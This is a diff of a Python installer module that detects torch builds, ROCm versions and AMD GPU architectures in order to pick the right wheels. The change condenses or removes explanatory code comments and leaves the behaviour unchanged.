@@ -1197,13 +1147,11 @@ def _torchcodec_spec_is_installable(spec: str) -> bool:
if host_floor is None:
return False
floor, ceiling = _torchcodec_spec_bounds(spec)
- # The window has to reach the first release this platform actually published.
if ceiling is not None and host_floor >= ceiling:
return False
if not _torchcodec_python_is_supported(max(floor, host_floor), ceiling):
return False
if IS_MAC_ARM and (_macos_release_major() or 0) < 14:
- # 0.12+ is macosx_14_0 only. Reachable when the window starts at or above it.
effective_floor = max(floor, host_floor)
if effective_floor >= _TORCHCODEC_MACOS_14_ONLY_FROM:
return False
@@ -1236,7 +1184,6 @@ def _select_torchcodec_spec(torch_version: "str | None") -> "str | None":
release = str(torch_version).split("+", 1)[0] # drop +cu128/+rocm7.2/+cpu
parts = release.split(".")
try:
- # '11rc1' -> '11', matching _select_torchao_spec.
minor_str = re.sub(r"[^0-9].*", "", parts[1]) if len(parts) > 1 else ""
major, minor = int(parts[0]), int(minor_str)
except (IndexError, ValueError):
@@ -1250,21 +1197,15 @@ def _select_torchcodec_spec(torch_version: "str | None") -> "str | None":
return _TORCHCODEC_TORCH_SPECS.get(minor, _TORCHCODEC_DEFAULT_SPEC)
-# Memoized `import torch` classification of the target venv, reset by pip_install() and
-# pip_install_try(), the only things here that change what is installed. None means
-# "not probed yet".
+# Memoized torch classification of the target venv; reset by pip_install() / pip_install_try().
_TORCH_RUNTIME_PROBE: "tuple[bool, bool, str | None, str, str] | None" = None
-# Not in the tuple above: thirteen call sites unpack that, and only the GPU-build
-# verdict needs this one.
+# Kept out of the tuple above because thirteen call sites unpack it.
_TORCH_RUNTIME_XPU: str = ""
-# Prefix on the probe's own stdout line. Import chatter can arrive before the answer, and
-# an atexit handler or a CUDA teardown notice can arrive after it, so "the last non-empty
-# line" is not reliably ours; "the last line starting with this" is.
+# Import chatter or teardown notices can surround the answer, so match the last line with this prefix.
_TORCH_PROBE_MARKER = "UNSLOTH_TORCH_PROBE|"
-# Prefix on the --amd-torch-needs-dependency-pass decision line: five states share exit 1,
-# so a caller (CI above all) needs to read WHICH input decided. setup.sh discards the stream.
+# Five states share exit 1, so callers (CI) read this line to see which input decided.
_AMD_FASTPATH_DECISION_MARKER = "UNSLOTH_AMD_FASTPATH|"
@@ -1309,13 +1250,10 @@ def _probe_torch_runtime() -> "tuple[bool, bool, str | None, str, str]":
(
"import torch; "
"v = getattr(torch, '__version__', '') or ''; "
- # torch.version is not guaranteed to exist. Reaching through it
- # unguarded raises, which reads as "torch cannot import" and
- # force-reinstalls a working venv.
+ # torch.version may be missing; reaching through it would read as a broken torch and reinstall.
"_v = getattr(torch, 'version', None); "
"h = getattr(_v, 'hip', '') or ''; "
"c = getattr(_v, 'cuda', '') or ''; "
- # XPU too: such a wheel carries its runtime here and nowhere else.
"x = getattr(_v, 'xpu', '') or ''; "
f"print('{_TORCH_PROBE_MARKER}' + '|'.join((v, h, c, x)))"
),
@@ -1323,11 +1261,7 @@ def _probe_torch_runtime() -> "tuple[bool, bool, str | None, str, str]":
stdout = subprocess.PIPE,
stderr = subprocess.DEVNULL,
text = True,
- # The probes this replaced each decoded with errors="replace". text=True alone
- # decodes strictly, and a UnicodeDecodeError is a ValueError, so an undecodable
- # byte in torch's import chatter would escape the except below and take the
- # installer down instead of falling back to the on-disk classifier. Reachable
- # wherever the console code page and the child's output disagree.
+ # text=True decodes strictly and UnicodeDecodeError would escape the except below; replace instead.
errors = "replace",
timeout = 90,
**_windows_hidden_subprocess_kwargs(),
@@ -1335,7 +1269,6 @@ def _probe_torch_runtime() -> "tuple[bool, bool, str | None, str, str]":
except (OSError, subprocess.TimeoutExpired):
_TORCH_RUNTIME_PROBE = (False, False, None, "", "")
return _TORCH_RUNTIME_PROBE
- # Our own marked line, last one wins: chatter can land on either side of it.
_marked = [
line.strip()
for line in (probe.stdout or "").splitlines()
@@ -1347,7 +1280,6 @@ def _probe_torch_runtime() -> "tuple[bool, bool, str | None, str, str]":
if _marked:
_fields = _marked[-1][len(_TORCH_PROBE_MARKER) :].split("|")
version, hip, cuda = (_fields + ["", "", ""])[:3]
- # Beside the tuple, not in it: thirteen call sites unpack five values.
_TORCH_RUNTIME_XPU = (_fields + ["", "", "", ""])[3]
_TORCH_RUNTIME_PROBE = (True, probe.returncode == 0, version, hip, cuda)
return _TORCH_RUNTIME_PROBE
@@ -1457,8 +1389,8 @@ def _repair_bad_anyio() -> None:
)
-# The constraints cap cannot reach a fresh install: install.ps1 resolves accelerate with no -c,
-# then hands off with SKIP_STUDIO_BASE=1, and no later step re-resolves it (#10819).
+# install.ps1 resolves accelerate without -c and then sets SKIP_STUDIO_BASE=1, so the constraints
+# cap never reaches a fresh install.
_ACCELERATE_BAD_FLOOR = (1, 15)
@@ -1469,8 +1401,7 @@ def _repair_bad_accelerate() -> None:
if installed is None or installed < _ACCELERATE_BAD_FLOOR:
return
_note(f"accelerate {installed[0]}.{installed[1]} found -- reinstalling accelerate<1.15...")
- # --no-deps: accelerate requires torch>=2.0.0, and a with-deps reinstall replaces the ROCm
- # wheel. _try, not pip_install: that exits, and this fires on nearly every Windows install.
+ # --no-deps: a with-deps reinstall replaces the ROCm torch. _try because pip_install exits.
if not pip_install_try(
"Repairing accelerate version",
"--no-cache-dir",
@@ -1485,11 +1416,8 @@ def _repair_bad_accelerate() -> None:
)
-# AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/).
-# Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs.
-# Kept verbatim: _index_url_join trims the path head, and only the path head. Trimming the
-# whole URL eats a trailing "/" belonging to a query token, and "/" is in the base64
-# alphabet. The Linux mirror passes its raw env value for the same reason.
+# Override with UNSLOTH_ROCM_WINDOWS_MIRROR. Kept verbatim: trimming the whole URL could eat a
+# trailing "/" of a base64 query token; _index_url_join trims only the path head.
_ROCM_WINDOWS_INDEX_BASE = (
os.environ.get("UNSLOTH_ROCM_WINDOWS_MIRROR") or "https://repo.amd.com/rocm/whl"
)
@@ -1515,13 +1443,11 @@ _GFX_TO_AMD_INDEX_ARCH: dict[str, str] = {
"gfx908": "gfx908", # MI200/MI100
}
-# Archs that install ROCm wheels fine and then compute WRONG answers, so they stay on CPU
-# torch rather than route to their family index. See install.sh's matching gate.
+# These arches install ROCm wheels but compute wrong answers, so they stay on CPU torch (as install.sh).
_ROCM_MISCOMPUTING_GFX: "frozenset[str]" = frozenset({"gfx1033"}) # Van Gogh (Steam Deck)
-# bitsandbytes continuous-release_main wheels with the ROCm 4-bit GEMV fix
-# (bnb #1887, post-0.49.2). bnb <= 0.49.2 NaNs at decode shape on every AMD GPU;
-# PyPI 0.50.0 is the first release with the fix, so the fallback below is safe.
+# bnb <= 0.49.2 NaNs at decode shape on every AMD GPU; these prerelease wheels carry the fix and
+# PyPI 0.50.0 is the first release with it, so the fallback is safe.
_BNB_ROCM_PRERELEASE_URLS: dict[str, str] = {
"x86_64": (
"https://github.com/bitsandbytes-foundation/bitsandbytes/releases/"
@@ -1553,12 +1479,10 @@ def _bnb_rocm_prerelease_url() -> str | None:
return _BNB_ROCM_PRERELEASE_URLS.get(arch)
-# What this pass last installed bitsandbytes from. The second _ensure_rocm_torch() must not
-# repeat the download yet must repair a bnb the steps between re-resolved, so this records WHAT
-# landed, not merely THAT something did.
+# Records WHAT bnb this pass installed: the second _ensure_rocm_torch() must skip the download yet
+# repair a bnb that later steps re-resolved.
_BNB_ROCM_PASS_PROVENANCE: "str | None" = None
-# What the release URL served when this pass last looked (_bnb_asset_identity): the URL alone cannot
-# identify the build.
+# Asset identity seen this pass: the URL alone cannot identify the build.
_BNB_ROCM_PASS_ASSET: "str | None" = None
@@ -1647,10 +1571,8 @@ def _bnb_provenance_matches_request(provenance: str, url: "str | None") -> bool:
"""Whether *provenance* describes a build one of the two install paths would land."""
kind, _, value = provenance.partition(":")
if kind == "url":
- # The pre-release wheel, proven by its URL; a bumped URL fetches the new wheel once.
return url is not None and value == url
- # No direct_url.json: an older installer, or the PyPI fallback. The filename's version
- # identifies the first, the pin the second; reinstalling the fallback buys nothing.
+ # No direct_url.json: an older installer (filename version) or the PyPI fallback (the pin).
if url is not None:
wheel_version = _bnb_wheel_version(url)
if wheel_version is not None and _versions_are_same_release(value, wheel_version):
@@ -1677,13 +1599,11 @@ def _bnb_rocm_install_is_current(url: "str | None") -> bool:
if provenance is None:
return _refuse_bnb("no usable bitsandbytes on disk")
if _BNB_ROCM_PASS_PROVENANCE is not None:
- # Already settled this pass: the second call skips only while the disk still holds what the
- # first left, since the steps between them can re-resolve it.
+ # Second call this pass: skip only while disk still holds what the first left.
return provenance == _BNB_ROCM_PASS_PROVENANCE
if not _may_skip_on_evidence():
return _refuse_bnb("no dependency pass evidence")
- # The last run must have recorded landing this build deliberately: a generic wheel another step
- # pulled in reads identically to the PyPI fallback.
+ # A generic wheel another step pulled in reads like the PyPI fallback, so require a recorded landing.
recorded = (_PASS_EVIDENCE or {}).get("bnb_rocm")
if not isinstance(recorded, str) or recorded != provenance:
return _refuse_bnb(f"last run recorded {recorded!r}, on disk {provenance!r}")
@@ -1714,7 +1634,6 @@ def _record_bnb_rocm_provenance() -> None:
global _BNB_ROCM_PASS_PROVENANCE, _BNB_ROCM_PASS_ASSET
_BNB_ROCM_PASS_PROVENANCE = _installed_bnb_provenance()
if _BNB_ROCM_PASS_ASSET is not None:
- # The keep decision already read the asset this pass.
return
url = _installed_direct_url("bitsandbytes")
_BNB_ROCM_PASS_ASSET = _bnb_asset_identity(url) if url else None
@@ -1777,7 +1696,6 @@ def _path_inside_venv(path: str) -> bool:
return False
return os.path.normcase(os.path.commonpath([os.path.realpath(path), _root])) == _root
except (ValueError, OSError):
- # Different drive / unresolvable -> treat as outside the venv.
return False
@@ -1890,7 +1808,6 @@ def _detect_rocm_version_uncached() -> tuple[int, int] | None:
except Exception:
pass
- # Try hipconfig --version (outputs bare version like "6.3.21234.2")
hipconfig = shutil.which("hipconfig")
if hipconfig:
try:
@@ -1912,9 +1829,8 @@ def _detect_rocm_version_uncached() -> tuple[int, int] | None:
except Exception:
pass
- # Only "installed" counts: dpkg-query still reports removed-but-not-purged packages.
- # rocm-core wins outright over libhsa-runtime64-1, which comes from the distro archive
- # and can be older (Ubuntu 5.7.1 beside AMD's rocm-core 7.2.1), so they are not peers.
+ # Only "installed" counts (dpkg-query lists removed-not-purged). rocm-core beats libhsa-runtime64-1,
+ # which comes from the distro archive and can be older.
dpkg = shutil.which("dpkg-query")
if dpkg:
try:
@@ -1933,8 +1849,7 @@ def _detect_rocm_version_uncached() -> tuple[int, int] | None:
errors = "replace",
timeout = 5,
)
- # dpkg-query exits nonzero when either package is absent but still prints
- # the other's line, so parse stdout regardless of the return code.
+ # dpkg-query exits nonzero when either package is absent but still prints the other's line.
_dpkg_readings: "dict[str, list[tuple[int, int]]]" = {"rocm-core": [], "hsa": []}
for line in result.stdout.splitlines():
fields = line.split()
@@ -1943,7 +1858,6 @@ def _detect_rocm_version_uncached() -> tuple[int, int] | None:
package, raw = fields[0], fields[4]
if package not in ("rocm-core", "libhsa-runtime64-1"):
continue
- # dpkg can prepend an epoch ("1:6.3.0-1"); strip it before parsing.
raw = re.sub(r"^\d+:", "", raw)
m = re.match(r"(\d+)[.-](\d+)", raw)
if m:
@@ -2007,10 +1921,8 @@ def _detect_rocm_version_uncached() -> tuple[int, int] | None:
return best
-# APU gfx arches whose board commonly also carries a discrete Radeon. HIP often
-# enumerates the APU first, so an index-0 pick installs wheels for the iGPU and the
-# dGPU is never used (#7776: gfx1036 Raphael shadowing a gfx1200 RX 9060 XT). Excludes
-# the Strix arches (gfx1150/1151/1152): first-class training targets, left untouched.
+# APUs that often sit beside a discrete Radeon; HIP may enumerate the APU first, so an index-0 pick
+# would target the iGPU. Strix arches (gfx1150/1151/1152) are real targets and excluded.
_SHADOWING_INTEGRATED_GFX: "frozenset[str]" = frozenset(
{
"gfx90c", # Renoir / Cezanne
@@ -2072,10 +1984,7 @@ def _pick_visible_index(
_idx = int(_first)
if 0 <= _idx < num_tokens:
return _idx
- # Say so rather than silently installing for GPU 0, which on a mixed host
- # is the iGPU the user tried to mask off (setup.ps1's Resolve-VisibleGpuIndex
- # warns the same). Callers with a deduplicated list pass warn=False: there the
- # index space is arches, not devices, so out of range is normal.
+ # Warn instead of silently picking GPU 0. warn=False callers index arches, not devices.
if warn:
_safe_print(
f" [WARN] {_env}={_first} is out of range ({num_tokens} GPU(s) "
@@ -2106,7 +2015,6 @@ def _detect_windows_gfx_arch() -> str | None:
first GPU is used -- except when it is a shadowing iGPU leading the
enumeration, in which case the discrete GPU is preferred (issue #7776).
"""
- # 1. Explicit override (matches PowerShell installer's env-var path).
_override = os.environ.get("UNSLOTH_ROCM_GFX_ARCH")
if _override and _override.strip():
return _override.strip().lower()
@@ -2118,18 +2026,12 @@ def _detect_windows_gfx_arch() -> str | None:
) -> "str | None":
if not tokens:
return None
- # Index into the full ordered list so the mask addresses GPU N on mixed-arch
- # hosts. mask_resolved probes already did that: hipinfo is itself a HIP
- # application, so under a mask it enumerates only the VISIBLE devices,
- # renumbered from 0. Indexing that again applies the mask twice, so
- # CUDA_VISIBLE_DEVICES=1,0 would read token 1 (the iGPU) on a host whose mask
- # put the dGPU first. amd-smi and WMI list every GPU, so those keep the index.
+ # mask_resolved probes (hipinfo is a HIP app) already list only visible devices renumbered from 0;
+ # indexing again would apply the mask twice. amd-smi and WMI list every GPU, so they keep the index.
_pick = tokens[0 if mask_resolved else _pick_visible_index(len(tokens), warn = warn)]
_distinct = list(dict.fromkeys(tokens))
if len(_distinct) < 2 or _visible_devices_pinned():
- # A pin is honoured verbatim, but say so when it selected a card with no AMD
- # Windows wheels while another enumerated GPU has them: torch silently drops
- # to CPU and the mask is the reason.
+ # A pin is honoured verbatim, but warn when it picks a card with no Windows wheels while another has them.
if (
len(_distinct) >= 2
and _windows_rocm_index_url(_pick) is None
@@ -2143,22 +2045,16 @@ def _detect_windows_gfx_arch() -> str | None:
f"it at that GPU to use it."
)
return _pick
- # Unpinned mixed-arch host: skip a leading shadowing iGPU so the discrete card
- # decides the wheel family (#7776), and say so, since only enumeration order
- # put the APU first and the user may still want a different device.
+ # Unpinned mixed-arch host: skip a leading shadowing iGPU so the discrete card decides the family.
if _pick in _SHADOWING_INTEGRATED_GFX:
_others = [t for t in tokens if t not in _SHADOWING_INTEGRATED_GFX]
- # Deposing the pick for a card with no Windows wheels (gfx1036 + a gfx803)
- # resolves to no index and drops the host to CPU, so prefer a
- # wheel-backed candidate; fall back only when the pick has no wheels either.
+ # Prefer a wheel-backed replacement; deposing for a wheel-less card would drop the host to CPU.
_withWheels = [t for t in _others if _windows_rocm_index_url(t) is not None]
_candidates = _withWheels or (
[] if _windows_rocm_index_url(_pick) is not None else _others
)
if _candidates:
_other = _candidates[0]
- # Not always device 1: on gfx1036,gfx803,gfx1200 it is device 2, and
- # saying "mask 1" would expose the gfx803 the wheels do not target.
_other_idx = tokens.index(_other)
_safe_print(
f" multiple AMD GPUs detected ({', '.join(_distinct)}); "
@@ -2177,7 +2073,6 @@ def _detect_windows_gfx_arch() -> str | None:
)
return _pick
- # 2. hipinfo via PATH, then HIP_PATH\bin / ROCM_PATH\bin.
hipinfo = shutil.which("hipinfo")
if not hipinfo:
for _env_var in ("HIP_PATH", "ROCM_PATH"):
@@ -2188,7 +2083,7 @@ def _detect_windows_gfx_arch() -> str | None:
hipinfo = _candidate
break
if not hipinfo:
- # 2b. AMD torch wheels drop hipInfo.exe into venv Scripts, so driver-only hosts re-detect.
+ # AMD torch wheels drop hipInfo.exe into venv Scripts, so driver-only hosts re-detect.
_venv_hipinfo = os.path.join(os.path.dirname(sys.executable), "hipInfo.exe")
if os.path.isfile(_venv_hipinfo):
hipinfo = _venv_hipinfo
@@ -2200,12 +2095,9 @@ def _detect_windows_gfx_arch() -> str | None:
stderr = subprocess.DEVNULL,
timeout = 10,
)
- # Accept partial output when hipinfo crashes (0xC0000005 on some RDNA 4, #6043).
+ # Accept partial output when hipinfo crashes (0xC0000005 on some RDNA 4).
text = result.stdout.decode(errors = "replace")
- # findall gets every gcnArchName line so multi-GPU hosts are
- # enumerable and HIP_VISIBLE_DEVICES selects correctly.
- # Split on ':' like setup.ps1: "gfx90a:sramecc+:xnack-" matches neither
- # the wheel table nor the shadowing set.
+ # Every gcnArchName line, split on ':' like setup.ps1 so feature suffixes do not defeat lookups.
_tokens = [
t.split(":")[0].strip().lower()
for t in re.findall(r"(?im)^\s*gcnArchName\s*:\s*(\S+)", text)
@@ -2231,7 +2123,6 @@ def _detect_windows_gfx_arch() -> str | None:
if result.returncode != 0:
continue
text = result.stdout.decode(errors = "replace")
- # Prefer labelled gfx lines; fall back to bare tokens.
_labelled = re.findall(
r"(?im)^\s*(?:target_graphics_version|gfx|arch|asic)\b[^:\r\n]*:\s*(gfx[1-9][0-9a-z]{2,3})\b",
text,
@@ -2245,17 +2136,8 @@ def _detect_windows_gfx_arch() -> str | None:
except Exception:
continue
- # 4. Last resort: GPU marketing name via WMI → arch table. Driver-only
- # hosts (Adrenalin, no HIP SDK) have neither hipinfo nor amd-smi
- # (amd-smi does not exist on Windows at all), but the display driver
- # always knows the GPU name. Mirrors setup.ps1's $nameArchTable so a
- # standalone `studio update` can repair a CPU-only venv on such hosts.
- #
- # ConfigManagerErrorCode 0 is "working properly". WMI keeps listing adapters that
- # are disabled or on a driver error, and _dedup_pick()'s shadowing skip would let
- # one depose the working iGPU. Same filter setup.ps1 applies to $wmiGpus, incl. the
- # AMD name match: the masks index AMD devices, so an Intel or NVIDIA adapter would
- # shift every index away from what HIP_VISIBLE_DEVICES names.
+ # Last resort: GPU name via WMI -> arch table (mirrors setup.ps1's $nameArchTable) for driver-only
+ # hosts. Only AMD adapters with ConfigManagerErrorCode 0, as setup.ps1 filters $wmiGpus.
try:
result = subprocess.run(
[
@@ -2273,8 +2155,7 @@ def _detect_windows_gfx_arch() -> str | None:
creationflags = getattr(subprocess, "CREATE_NO_WINDOW", 0),
)
if result.returncode == 0:
- # Lines are "<name>|<ConfigManagerErrorCode>"; a bare name (older probe
- # output, and the shape most tests use) counts as healthy.
+ # Lines are "<name>|<ConfigManagerErrorCode>"; a bare name counts as healthy.
_all_names, _healthy = [], []
for _line in result.stdout.decode(errors = "replace").splitlines():
_line = _line.strip()
@@ -2284,46 +2165,31 @@ def _detect_windows_gfx_arch() -> str | None:
if not _sep:
_nm, _code = _line, "0"
_nm = _nm.strip()
- # Re-apply the vendor filter rather than trusting the command string:
- # everything below treats these as AMD devices, and a stray NVIDIA or
- # Intel adapter would shift the mask index and warn at a non-AMD user.
+ # Re-apply the vendor filter: a non-AMD adapter would shift the mask index.
if not _nm or not re.search(r"AMD|Radeon", _nm, re.IGNORECASE):
continue
_all_names.append(_nm)
if _code.strip() in ("", "0"):
_healthy.append(_nm)
- # Drop adapters Windows flags as not working so one cannot depose a live card.
- # If that leaves NOTHING, the filter alone made the host look GPU-less and
- # returning None hands it CPU torch: code 45 ("not connected") is routine on
- # muxless laptops with a parked dGPU. Fall back to the full list -- with no
- # healthy peer there is nothing to depose.
+ # Drop non-working adapters, but fall back to all when none are healthy: code 45 is routine on
+ # muxless laptops with a parked dGPU.
_names = _healthy or _all_names
_tokens = [_a for _a in map(_gfx_arch_from_gpu_name, _names) if _a]
- # Resolve the mask over the ADAPTER list (setup.ps1's $nameIdx): a name the
- # table does not know drops out of _tokens, and indexing that shortened list
- # would name a different card.
+ # Resolve the mask over the adapter list (setup.ps1's $nameIdx), not the shortened token list.
_sel = _pick_visible_index(len(_names)) if _names else 0
_named = _gfx_arch_from_gpu_name(_names[_sel]) if _names else None
- # Borrow another adapter's arch only when unpinned: under a mask,
- # substituting installs for a GPU the user masked away.
+ # Borrow another adapter's arch only when unpinned.
if not _named and not _visible_devices_pinned() and _tokens:
_named = _tokens[0]
- # Repick only when every AMD adapter mapped: an unknown name may BE the
- # discrete card, so skipping the iGPU could pick the wrong one and the index
- # would count arches, not devices. warn=False since the mask was already
- # resolved and reported against the adapter list above.
+ # Repick only when every adapter mapped: an unknown name may be the discrete card.
_pick = _dedup_pick(_tokens, warn = False) if len(_tokens) == len(_names) else _named
if _pick:
_safe_print(f" gfx arch inferred from GPU name (WMI): {_pick}")
return _pick
if _names and not _pick:
- # No arch means CPU-only torch; name the adapter instead of failing silently.
- # Polaris is not an unknown card: naming an override there
- # sends the user after a fix that does not exist (#8529, #8458).
+ # No arch means CPU-only torch; name the adapter. Polaris gets no override hint since no fix exists.
_unsupported = _unsupported_gfx_arch_from_gpu_name(_names[_sel])
if _unsupported:
- # The CPU-only half is false under an explicit index pin, which is
- # honoured for any arch, so a pinned run says what it is doing instead.
_pinned = bool(
(os.environ.get("UNSLOTH_TORCH_INDEX_URL") or "").strip()
or (os.environ.get("UNSLOTH_TORCH_INDEX_FAMILY") or "").strip()
@@ -2363,32 +2229,24 @@ def _detect_windows_gfx_arch() -> str | None:
# GPU marketing-name -> gfx arch (mirrors setup.ps1's $nameArchTable), most-specific first.
_WIN_GPU_NAME_ARCH_TABLE: "list[tuple[str, str]]" = [
- # RDNA 4 (Navi 48: Radeon RX 9070 XT / 9070 GRE / 9070 / 9080, Radeon AI PRO R9700).
- # R9700 is listed separately: its name holds neither 9070 nor 9080, so it matched
- # nothing and fell through to CPU torch (#7624, #7307).
+ # RDNA 4 (Navi 48). R9700 is listed separately: its name has neither 9070 nor 9080.
(r"9070|9080|R9700", "gfx1201"),
(r"9060", "gfx1200"), # RDNA 4 (Navi 44: Radeon RX 9060 XT / 9060)
- # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
(r"8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max", "gfx1151"),
- # RDNA 3.5 (Strix Point: Radeon 890M/880M, Ryzen AI 9 HX 370/375)
(r"890M|880M|Strix Point|HX 37[05]|AI 9 HX|AI 9 36[05]", "gfx1150"),
- # RDNA 3.5 (Krackan Point: Radeon 860M/840M, Ryzen AI 7 350 / AI 5 340)
(r"860M|840M|Krackan|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33", "gfx1152"),
- # RDNA 3 desktop / workstation (Navi 31)
(r"RX 7900|PRO W7900|PRO W7800", "gfx1100"),
(r"RX 7800|RX 7700(?!S)|PRO W7700|PRO V710", "gfx1101"), # Navi 32
(r"RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500", "gfx1102"), # Navi 33
- # RDNA 3 iGPU (Phoenix / Hawk Point)
(r"780M|760M|740M|Phoenix|Hawk Point|Z1 Extreme|Z2 Extreme", "gfx1103"),
- # RDNA 2 refresh numbers (6950 / 6850M / 6550M) matched nothing and took CPU torch (#10468).
- # 6850M XT is Navi 22, filed here like 6750 / 6700: every RDNA 2 row resolves to gfx103X-all.
+ # RDNA 2: every row resolves to gfx103X-all (6850M XT is Navi 22, filed here like 6750 / 6700).
(r"RX 6950|RX 6900|RX 6850|RX 6800|RX 6750|RX 6700|PRO W6800|PRO W6900", "gfx1030"), # Navi 21
(r"RX 6650|RX 6600|PRO W6600|PRO W6650", "gfx1032"), # Navi 23
(
r"RX 6550|RX 6500|RX 6450|RX 6400|RX 6300|PRO W6400|PRO W6500|PRO W6300",
"gfx1034",
), # Navi 24
- # RDNA 1 (Navi 10 / 14), routed via _WINDOWS_MULTIARCH_GFX; names from LLVM AMDGPU + amdgpu.ids.
+ # RDNA 1 (Navi 10 / 14), routed via _WINDOWS_MULTIARCH_GFX.
(r"Radeon Pro V520|Radeon Pro 5600M", "gfx1011"),
(r"RX 5700|RX 5600|Radeon Pro 5600 XT|Radeon Pro 5700|Radeon Pro W5700", "gfx1010"),
(r"RX 5500|RX 5300|Radeon Pro W5500|Radeon Pro W5300", "gfx1012"),
@@ -2405,10 +2263,8 @@ def _gfx_arch_from_gpu_name(name: str) -> "str | None":
return None
-# GPU name -> gfx arch for AMD generations no ROCm wheel covers: Polaris 10/20/30
-# (unslothai#8529, #8458). Deliberately SEPARATE from _WIN_GPU_NAME_ARCH_TABLE: nothing
-# here may ever route to a wheel index. The (?!0) guards stop "RX 570" swallowing
-# "RX 5700"; Polaris 11/12 (RX 460/550/560, a different die) is left out.
+# Polaris arches no ROCm wheel covers. Kept separate from _WIN_GPU_NAME_ARCH_TABLE so nothing here
+# routes to a wheel index; (?!0) stops "RX 570" matching "RX 5700".
_UNSUPPORTED_GPU_NAME_ARCH_TABLE: "list[tuple[str, str]]" = [
(
r"RX 4[78]0(?!0)|RX 5[789]0(?!0)|Radeon Pro WX 7100|Radeon Pro WX 5100",
@@ -2561,18 +2417,12 @@ def _infer_linux_amd_gfx_arch() -> "str | None":
if override:
return override
if _is_wsl():
- # cpuinfo/lspci see the host APU even on a WSL box whose ROCDXG runtime
- # was never bootstrapped; inferring there would install per-arch ROCm
- # wheels into an env that still can't expose the GPU. Skip unless that
- # runtime is present -- WSL enumerates no PCI display device, so
- # /dev/dxg + librocdxg IS the GPU evidence there.
+ # WSL lists no PCI display device; /dev/dxg + librocdxg is the GPU evidence. Without that runtime,
+ # per-arch wheels would land in an env that cannot expose the GPU.
if not _wsl_rocm_runtime_present():
return None
elif not _linux_amd_display_device_present():
- # Native Linux: a VM/container on a Strix host still shows the host CPU
- # model in /proc/cpuinfo while receiving no AMD GPU, so require an AMD
- # display device before trusting the CPU-model inference. The lspci
- # fallback reads the same PCI space and would find nothing here either.
+ # A VM/container on a Strix host shows the host CPU model but gets no GPU, so require a display device.
return None
cpu_gfx = _linux_amd_gfx_from_cpuinfo()
if cpu_gfx == "gfx1153":
@@ -2631,14 +2481,11 @@ def _amd_arch_index_url(gfx_arch: str | None) -> str | None:
mirrored/air-gapped Linux repair reaches the index install.sh chose rather
than falling back to repo.amd.com. Both default to repo.amd.com when unset.
"""
- # rocminfo prints gcnArchName with its feature suffix (gfx1100:sramecc-:xnack-), which is
- # the spelling users copy into UNSLOTH_ROCM_GFX_ARCH; both tables key on the bare arch.
+ # Users copy rocminfo's gfx1100:sramecc-:xnack- into UNSLOTH_ROCM_GFX_ARCH; tables key on the bare arch.
gfx_arch = (gfx_arch or "").strip().split(":")[0] or None
if IS_WINDOWS:
return _windows_rocm_index_url(gfx_arch)
- # gfx1033 (Van Gogh) miscomputes under ROCm (studio/ROCM_RDNA2_APU.md). Without this,
- # the inferred-gfx repair below would force-reinstall the very ROCm wheels install.sh's
- # gate exists to avoid. Linux only, matching where it was measured.
+ # gfx1033 miscomputes under ROCm (studio/ROCM_RDNA2_APU.md); do not reinstall what install.sh avoids.
if (gfx_arch or "").lower() in _ROCM_MISCOMPUTING_GFX:
return None
arch_family = _GFX_TO_AMD_INDEX_ARCH.get(gfx_arch or "")
@@ -2724,9 +2571,7 @@ def _rocm_miscomputing_host() -> bool:
return False
if "+rocm" not in _installed_torch_label_on_disk():
return False
- # Declared arch LAST: this asks what silicon is PRESENT, and a stale
- # UNSLOTH_ROCM_GFX_ARCH=gfx1030 on a real Van Gogh answered with a healthy arch. It still
- # answers when no probe can. install.sh's "physical" mode agrees.
+ # Declared arch last: this asks what silicon is present, so a stale UNSLOTH_ROCM_GFX_ARCH must not win.
return _miscomputing_arch_host()
@@ -2782,8 +2627,7 @@ def _installed_rocm_wheel_family() -> str | None:
return _fam
except Exception:
pass
- # No `rocm` meta-package: fall back to the runtimes on disk, but only when exactly
- # one is present, since with several there is nothing left to say which is active.
+ # No `rocm` meta-package: use the runtimes on disk only when exactly one is present.
try:
from importlib import metadata
@@ -2813,10 +2657,7 @@ def _torch_requires_rocm_sdk() -> bool:
try:
from importlib import metadata
for _req in metadata.requires("torch") or []:
- # The distribution named exactly `rocm` ("rocm[libraries]==7.13.0"), anchored so
- # rocm-sdk-core and triton-rocm do not match. Case-insensitive: Requires-Dist
- # keeps the author's spelling while pip compares normalized, and reading
- # "ROCm[libraries]" as absent would call a per-arch build generic.
+ # Exactly the `rocm` distribution (not rocm-sdk-core / triton-rocm), case-insensitive like pip.
if re.match(r"\s*rocm\s*(?:\[|[=<>!~;,]|$)", _req, re.IGNORECASE):
return True
except Exception:
@@ -2847,9 +2688,8 @@ def _detect_bnb_rocm_dll_ver() -> str | None:
return max(all_vers, key = lambda v: int(v)) if all_vers else None
-# Set right before the base unsloth install (which resolves its unconditional
-# bitsandbytes dependency); read by _ensure_rocm_torch to drop a freshly pulled
-# generic wheel on gfx906 while leaving a pre-existing source build untouched.
+# Set before the base unsloth install; lets _ensure_rocm_torch drop a freshly pulled generic bnb on
+# gfx906 while keeping a pre-existing source build.
_GFX906_BNB_ABSENT_BEFORE_BASE = False
@@ -2974,7 +2814,6 @@ def _has_rocm_gpu() -> bool:
["rocminfo"],
lambda out: bool(re.search(r"gfx[1-9][0-9a-z]{2,3}", out.lower())),
),
- # amd-smi list: require "GPU: <number>" data rows, not just a header
(
["amd-smi", "list"],
lambda out: bool(re.search(r"(?im)^gpu\s*[:\[]\s*\d", out)),
@@ -3001,8 +2840,7 @@ def _has_rocm_gpu() -> bool:
if result.returncode == 0 and result.stdout.strip():
if check_fn(result.stdout):
return True
- # sysfs KFD fallback for hosts without rocminfo/amd-smi. Non-AMD vendors are rejected: the
- # NVIDIA open kernel module also registers KFD nodes.
+ # sysfs KFD fallback. Reject non-AMD vendors: the NVIDIA open kernel module also registers KFD nodes.
if sys.platform != "win32":
try:
kfd_nodes = "/sys/class/kfd/kfd/topology/nodes"
@@ -3016,7 +2854,6 @@ def _has_rocm_gpu() -> bool:
continue
if not gpu_id or gpu_id == "0": # gpu_id 0 = CPU node
continue
- # Require AMD vendor_id 4098 (0x1002); a missing properties file stays unconfirmed.
props_path = os.path.join(kfd_nodes, entry, "properties")
